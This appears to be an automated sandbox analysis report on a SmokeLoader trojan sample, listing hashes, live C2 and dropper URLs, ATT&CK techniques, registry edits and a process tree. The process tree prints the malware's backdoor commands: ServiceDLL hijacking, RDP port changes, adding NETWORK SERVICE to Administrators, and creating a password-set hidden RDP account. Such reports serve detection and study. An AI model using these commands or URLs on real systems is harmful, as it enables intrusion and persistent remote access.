smokeloader | 477af70aacb75d845210fbb00fe37d4c6bd22422ed62dc859ebdf1dc93433c3a

Analysis

max time kernel
153s
max time network
141s
platform
windows10_x64
resource
win10-en-20211014
submitted
18-10-2021 11:30

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General

Target

363fece1255b4dd7f688225dbc090e8b.exe
Size

262KB
MD5

363fece1255b4dd7f688225dbc090e8b
SHA1

624e505f3b828e0f27bd8c2d82687def04ea63d9
SHA256

477af70aacb75d845210fbb00fe37d4c6bd22422ed62dc859ebdf1dc93433c3a
SHA512

70db537ae80612b88db8dfcb33d61a1deecd97555c2d150a9e2fdbaa4a6e89ca2600afbc07eaa6fd32342f044b602951d8bacaebbea7a4efe3c6fafb5054ccab

Score

10^/10

smokeloader backdoor persistence suricata trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32

Signatures

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
57	3492	powershell.exe
59	3492	powershell.exe
60	3492	powershell.exe
62	3492	powershell.exe
64	3492	powershell.exe
66	3492	powershell.exe
68	3492	powershell.exe
70	3492	powershell.exe
72	3492	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1424	94AA.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000900000001abb8-355.dat	upx
behavioral2/files/0x000700000001abb9-356.dat	upx

Deletes itself 1 IoCs

pid	Process
3056	Process not Found

Loads dropped DLL 2 IoCs

pid	Process
1236	Process not Found
1236	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_z04abub5.x5v.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI1285.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI12F4.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_bc0jugvx.em0.ps1	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI1304.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI1315.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI1325.tmp	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	363fece1255b4dd7f688225dbc090e8b.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	363fece1255b4dd7f688225dbc090e8b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	363fece1255b4dd7f688225dbc090e8b.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\e1be3f182420a0a0 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\DisplayName = "Local intranet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent,"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1400 = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\2ba02e083fadee33 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,IE5_UA_Backup_Flag,"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Icon = "shell32.dll#0016"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3052	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	59	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	60	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	62	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	64	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1756	363fece1255b4dd7f688225dbc090e8b.exe
1756	363fece1255b4dd7f688225dbc090e8b.exe
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Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3056	Process not Found

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
624	Process not Found
624	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1756	363fece1255b4dd7f688225dbc090e8b.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3356	powershell.exe
Token: SeDebugPrivilege	3024	powershell.exe
Token: SeIncreaseQuotaPrivilege	3024	powershell.exe
Token: SeSecurityPrivilege	3024	powershell.exe
Token: SeTakeOwnershipPrivilege	3024	powershell.exe
Token: SeLoadDriverPrivilege	3024	powershell.exe
Token: SeSystemProfilePrivilege	3024	powershell.exe
Token: SeSystemtimePrivilege	3024	powershell.exe
Token: SeProfSingleProcessPrivilege	3024	powershell.exe
Token: SeIncBasePriorityPrivilege	3024	powershell.exe
Token: SeCreatePagefilePrivilege	3024	powershell.exe
Token: SeBackupPrivilege	3024	powershell.exe
Token: SeRestorePrivilege	3024	powershell.exe
Token: SeShutdownPrivilege	3024	powershell.exe
Token: SeDebugPrivilege	3024	powershell.exe
Token: SeSystemEnvironmentPrivilege	3024	powershell.exe
Token: SeRemoteShutdownPrivilege	3024	powershell.exe
Token: SeUndockPrivilege	3024	powershell.exe
Token: SeManageVolumePrivilege	3024	powershell.exe
Token: 33	3024	powershell.exe
Token: 34	3024	powershell.exe
Token: 35	3024	powershell.exe
Token: 36	3024	powershell.exe
Token: SeDebugPrivilege	3916	powershell.exe
Token: SeIncreaseQuotaPrivilege	3916	powershell.exe
Token: SeSecurityPrivilege	3916	powershell.exe
Token: SeTakeOwnershipPrivilege	3916	powershell.exe
Token: SeLoadDriverPrivilege	3916	powershell.exe
Token: SeSystemProfilePrivilege	3916	powershell.exe
Token: SeSystemtimePrivilege	3916	powershell.exe
Token: SeProfSingleProcessPrivilege	3916	powershell.exe
Token: SeIncBasePriorityPrivilege	3916	powershell.exe
Token: SeCreatePagefilePrivilege	3916	powershell.exe
Token: SeBackupPrivilege	3916	powershell.exe
Token: SeRestorePrivilege	3916	powershell.exe
Token: SeShutdownPrivilege	3916	powershell.exe
Token: SeDebugPrivilege	3916	powershell.exe
Token: SeSystemEnvironmentPrivilege	3916	powershell.exe
Token: SeRemoteShutdownPrivilege	3916	powershell.exe
Token: SeUndockPrivilege	3916	powershell.exe
Token: SeManageVolumePrivilege	3916	powershell.exe
Token: 33	3916	powershell.exe
Token: 34	3916	powershell.exe
Token: 35	3916	powershell.exe
Token: 36	3916	powershell.exe
Token: SeDebugPrivilege	872	powershell.exe
Token: SeIncreaseQuotaPrivilege	872	powershell.exe
Token: SeSecurityPrivilege	872	powershell.exe
Token: SeTakeOwnershipPrivilege	872	powershell.exe
Token: SeLoadDriverPrivilege	872	powershell.exe
Token: SeSystemProfilePrivilege	872	powershell.exe
Token: SeSystemtimePrivilege	872	powershell.exe
Token: SeProfSingleProcessPrivilege	872	powershell.exe
Token: SeIncBasePriorityPrivilege	872	powershell.exe
Token: SeCreatePagefilePrivilege	872	powershell.exe
Token: SeBackupPrivilege	872	powershell.exe
Token: SeRestorePrivilege	872	powershell.exe
Token: SeShutdownPrivilege	872	powershell.exe
Token: SeDebugPrivilege	872	powershell.exe
Token: SeSystemEnvironmentPrivilege	872	powershell.exe
Token: SeRemoteShutdownPrivilege	872	powershell.exe
Token: SeUndockPrivilege	872	powershell.exe
Token: SeManageVolumePrivilege	872	powershell.exe
Token: 33	872	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3056	Process not Found
3056	Process not Found

Suspicious use of SendNotifyMessage 5 IoCs

pid	Process
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Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 1424	3056	Process not Found	69
PID 3056 wrote to memory of 1424	3056	Process not Found	69
PID 1424 wrote to memory of 3356	1424	94AA.exe	71
PID 1424 wrote to memory of 3356	1424	94AA.exe	71
PID 3356 wrote to memory of 364	3356	powershell.exe	73
PID 3356 wrote to memory of 364	3356	powershell.exe	73
PID 364 wrote to memory of 1404	364	csc.exe	74
PID 364 wrote to memory of 1404	364	csc.exe	74
PID 3356 wrote to memory of 3024	3356	powershell.exe	75
PID 3356 wrote to memory of 3024	3356	powershell.exe	75
PID 3356 wrote to memory of 3916	3356	powershell.exe	80
PID 3356 wrote to memory of 3916	3356	powershell.exe	80
PID 3356 wrote to memory of 872	3356	powershell.exe	82
PID 3356 wrote to memory of 872	3356	powershell.exe	82
PID 3356 wrote to memory of 1948	3356	powershell.exe	84
PID 3356 wrote to memory of 1948	3356	powershell.exe	84
PID 3356 wrote to memory of 3052	3356	powershell.exe	85
PID 3356 wrote to memory of 3052	3356	powershell.exe	85
PID 3356 wrote to memory of 3432	3356	powershell.exe	86
PID 3356 wrote to memory of 3432	3356	powershell.exe	86
PID 3356 wrote to memory of 2984	3356	powershell.exe	87
PID 3356 wrote to memory of 2984	3356	powershell.exe	87
PID 2984 wrote to memory of 3492	2984	net.exe	88
PID 2984 wrote to memory of 3492	2984	net.exe	88
PID 3356 wrote to memory of 3904	3356	powershell.exe	89
PID 3356 wrote to memory of 3904	3356	powershell.exe	89
PID 3904 wrote to memory of 1924	3904	cmd.exe	90
PID 3904 wrote to memory of 1924	3904	cmd.exe	90
PID 1924 wrote to memory of 2660	1924	cmd.exe	91
PID 1924 wrote to memory of 2660	1924	cmd.exe	91
PID 2660 wrote to memory of 2768	2660	net.exe	92
PID 2660 wrote to memory of 2768	2660	net.exe	92
PID 3356 wrote to memory of 1756	3356	powershell.exe	93
PID 3356 wrote to memory of 1756	3356	powershell.exe	93
PID 1756 wrote to memory of 3760	1756	cmd.exe	94
PID 1756 wrote to memory of 3760	1756	cmd.exe	94
PID 3760 wrote to memory of 3176	3760	cmd.exe	95
PID 3760 wrote to memory of 3176	3760	cmd.exe	95
PID 3176 wrote to memory of 2404	3176	net.exe	96
PID 3176 wrote to memory of 2404	3176	net.exe	96
PID 1012 wrote to memory of 1996	1012	cmd.exe	100
PID 1012 wrote to memory of 1996	1012	cmd.exe	100
PID 1996 wrote to memory of 1100	1996	net.exe	101
PID 1996 wrote to memory of 1100	1996	net.exe	101
PID 352 wrote to memory of 1404	352	cmd.exe	104
PID 352 wrote to memory of 1404	352	cmd.exe	104
PID 1404 wrote to memory of 364	1404	net.exe	105
PID 1404 wrote to memory of 364	1404	net.exe	105
PID 772 wrote to memory of 1364	772	cmd.exe	108
PID 772 wrote to memory of 1364	772	cmd.exe	108
PID 1364 wrote to memory of 528	1364	net.exe	109
PID 1364 wrote to memory of 528	1364	net.exe	109
PID 2760 wrote to memory of 2248	2760	cmd.exe	112
PID 2760 wrote to memory of 2248	2760	cmd.exe	112
PID 2248 wrote to memory of 1308	2248	net.exe	113
PID 2248 wrote to memory of 1308	2248	net.exe	113
PID 616 wrote to memory of 2304	616	cmd.exe	116
PID 616 wrote to memory of 2304	616	cmd.exe	116
PID 2304 wrote to memory of 1496	2304	net.exe	117
PID 2304 wrote to memory of 1496	2304	net.exe	117
PID 2724 wrote to memory of 3520	2724	cmd.exe	120
PID 2724 wrote to memory of 3520	2724	cmd.exe	120
PID 3520 wrote to memory of 4048	3520	net.exe	121
PID 3520 wrote to memory of 4048	3520	net.exe	121

C:\Users\Admin\AppData\Local\Temp\363fece1255b4dd7f688225dbc090e8b.exe
"C:\Users\Admin\AppData\Local\Temp\363fece1255b4dd7f688225dbc090e8b.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1756

C:\Users\Admin\AppData\Local\Temp\94AA.exe
C:\Users\Admin\AppData\Local\Temp\94AA.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3356
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pjgye1la\pjgye1la.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:364
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB69A.tmp" "c:\Users\Admin\AppData\Local\Temp\pjgye1la\CSC6CD62B51DF6F4130AC6CE95B79954BDF.TMP"
      4⤵
      PID:1404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3916
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:872
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1948
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:3052
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:3432
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2984
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:3492
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3904
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1924
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2660
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:2768
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1756
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3760
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3176
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:2404
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2172
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:3516

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:1012
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1100

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 42A6qmOj /add
1⤵
- Suspicious use of WriteProcessMemory
PID:352
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 42A6qmOj /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1404
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 42A6qmOj /add
    3⤵
    PID:364

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:772
